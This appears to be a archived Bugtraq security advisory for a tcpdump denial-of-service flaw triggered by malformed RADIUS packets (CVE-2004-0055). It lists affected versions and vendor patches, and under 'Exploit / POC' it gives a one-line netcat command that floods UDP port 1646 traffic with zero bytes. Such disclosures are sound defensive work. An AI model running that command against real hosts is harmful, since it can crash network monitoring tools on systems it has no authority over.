TCPDump Malformed RADIUS Packet Denial Of Service Vulnerability

BID:7090

Info

TCPDump Malformed RADIUS Packet Denial Of Service Vulnerability

Bugtraq ID: 7090
Class: Design Error
CVE: CVE-2004-0055
Remote: Yes
Local: No
Published: Mar 14 2003 12:00AM
Updated: Jul 11 2009 09:06PM
Credit: The discovery of this vulnerability has been credited to "Bill Ralph" <[email protected]>
Vulnerable: SGI ProPack 2.4
SGI ProPack 2.3
SCO Unixware 7.1.3 up
Redhat Fedora Core1
LBL tcpdump 3.7.1
+ FreeBSD FreeBSD 4.7 -RELEASE
 + FreeBSD FreeBSD 4.7
+ Gentoo Linux 1.4 _rc2
 + Gentoo Linux 1.4 _rc1
 + SuSE Linux 8.1
LBL tcpdump 3.7
+ FreeBSD FreeBSD 4.6 -RELEASE
 + FreeBSD FreeBSD 4.6
+ FreeBSD FreeBSD 4.5 -STABLE
 + FreeBSD FreeBSD 4.5 -RELEASE
 + FreeBSD FreeBSD 4.5
+ FreeBSD FreeBSD 4.4 -STABLE
 + FreeBSD FreeBSD 4.4 -RELENG
 + FreeBSD FreeBSD 4.4
+ FreeBSD FreeBSD 4.3 -STABLE
 + FreeBSD FreeBSD 4.3 -RELENG
 + FreeBSD FreeBSD 4.3 -RELEASE
 + FreeBSD FreeBSD 4.3
+ FreeBSD FreeBSD 4.2 -STABLE
 + FreeBSD FreeBSD 4.2 -RELEASE
 + FreeBSD FreeBSD 4.2
LBL tcpdump 3.6.2
+ Caldera OpenLinux Server 3.1.1
+ Caldera OpenLinux Server 3.1
+ Caldera OpenLinux Workstation 3.1.1
+ Caldera OpenLinux Workstation 3.1
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
+ FreeBSD FreeBSD 4.3
+ FreeBSD FreeBSD 4.2
+ FreeBSD FreeBSD 4.1.1
+ FreeBSD FreeBSD 4.1
+ FreeBSD FreeBSD 4.0
+ HP Secure OS software for Linux 1.0
+ MandrakeSoft Corporate Server 1.0.1
+ MandrakeSoft Single Network Firewall 7.2
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ Redhat Linux 7.2 ia64
 + Redhat Linux 7.2 i386
 + Redhat Linux 7.1 ia64
 + Redhat Linux 7.1 i386
 + Redhat Linux 7.1 alpha
 + Redhat Linux 7.0 i386
 + Redhat Linux 7.0 alpha
 + Redhat Linux 6.2 sparc
 + Redhat Linux 6.2 i386
 + Redhat Linux 6.2 alpha
 + SuSE Linux 8.0
+ Trustix Secure Linux 1.5
+ Trustix Secure Linux 1.2
+ Trustix Secure Linux 1.1
LBL tcpdump 3.5.2
Apple Mac OS X Server 10.3.2
Apple Mac OS X Server 10.3.1
Apple Mac OS X Server 10.3
Apple Mac OS X Server 10.2.8
Apple Mac OS X Server 10.2.7
Apple Mac OS X Server 10.2.6
Apple Mac OS X Server 10.2.5
Apple Mac OS X Server 10.2.4
Apple Mac OS X Server 10.2.3
Apple Mac OS X Server 10.2.2
Apple Mac OS X Server 10.2.1
Apple Mac OS X Server 10.2
Apple Mac OS X Server 10.1.5
Apple Mac OS X Server 10.1.4
Apple Mac OS X Server 10.1.3
Apple Mac OS X Server 10.1.2
Apple Mac OS X Server 10.1.1
Apple Mac OS X Server 10.1
Apple Mac OS X 10.3.2
Apple Mac OS X 10.3.1
Apple Mac OS X 10.3
Apple Mac OS X 10.2.8
Apple Mac OS X 10.2.7
Apple Mac OS X 10.2.6
Apple Mac OS X 10.2.5
Apple Mac OS X 10.2.4
Apple Mac OS X 10.2.3
Apple Mac OS X 10.2.2
Apple Mac OS X 10.2.1
Apple Mac OS X 10.2
Apple Mac OS X 10.1.5
Apple Mac OS X 10.1.4
Apple Mac OS X 10.1.3
Apple Mac OS X 10.1.2
Apple Mac OS X 10.1.1
Apple Mac OS X 10.1
Apple Mac OS X 10.1
Not Vulnerable: LBL tcpdump 3.7.2
+ MandrakeSoft Corporate Server 2.1 x86_64
 + MandrakeSoft Corporate Server 2.1
+ MandrakeSoft Multi Network Firewall 2.0
+ Mandriva Linux Mandrake 9.2 amd64
 + Mandriva Linux Mandrake 9.2
+ Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1
+ Turbolinux Turbolinux Advanced Server 6.0
+ Turbolinux Turbolinux Desktop 10.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Server 6.5
+ Turbolinux Turbolinux Server 6.1
+ Turbolinux Turbolinux Workstation 8.0
+ Turbolinux Turbolinux Workstation 7.0
+ Turbolinux Turbolinux Workstation 6.1
+ Turbolinux Turbolinux Workstation 6.0

Exploit / POC

TCPDump Malformed RADIUS Packet Denial Of Service Vulnerability

The following proof of concept has been made available:

nc -u -p 1646 127.0.0.1 1301 &lt; /dev/zero

Solution / Fix

TCPDump Malformed RADIUS Packet Denial Of Service Vulnerability

Solution:
Red Hat has released an advisory for Fedora (FEDORA-2004-090). This advisory contains fixes to address several vulnerabilities in tcpdump. Fedora users may use the up2date utility to obtain and apply appropriate fixes; alternatively users may apply fixes (linked below) manually. See referenced advisory for further details.

Apple has released Security Update 2004-02-23 and fixes to address this issue. See referenced advisory for further details.

Guardian Digital Security has released a security advisory for EnGarde Secure Linux (ESA-20030430-014). The referenced advisory contains information pertaining to obtaining and applying fixes that address this and other issues. Users are advised to upgrade as soon as possible.

Red Hat has released a security advisory (RHSA-2003:032-01) that contains fixes addressing this and other tcpdump issues. Users are advised to upgrade as soon as possible.

OpenPKG has released an advisory OpenPKG-SA-2004.002 to address this and other issues. Please see the referenced advisory for more information.

Mandrake has released advisory MDKSA-2004:008 to address this issue. Please see the referenced advisory for more information.

SGI has released an advisory 20040103-01-U with fixes to address this and other issues. Please see the referenced advisory for more information.

Fedora Legacy (FLSA:1222) has released an advisory including updates for various Red Hat releases. Please see the referenced advisory for more details on obtaining and applying fixes.

SGI has released an advisory 20040202-01-U to address this and other issues in SGI ProPack 2.4. Please see the referenced advisory for more information.

SCO has released advisory CSSA-2004-008.0 to address this issue.

RedHat has released an advisory FEDORA-2004-091 to address this and other issues in Fedora. Please see the referenced advisory for more information.

Conectiva has released an advisory CLSA-2004:832 to address this and other issues in tcpdump. Please see the advisory in web references for more information.

SCO has released advisory SCOSA-2004.9 to address this and other issues in tcpdump. Please see the referenced advisory for further information on obtaining fixes.

Fixes are available below:


Redhat Fedora Core1

Apple Mac OS X 10.2.8

Apple Mac OS X Server 10.2.8

Apple Mac OS X 10.3.2

Apple Mac OS X Server 10.3.2

SGI ProPack 2.3

SGI ProPack 2.4

LBL tcpdump 3.6.2

References

TCPDump Malformed RADIUS Packet Denial Of Service Vulnerability

References:

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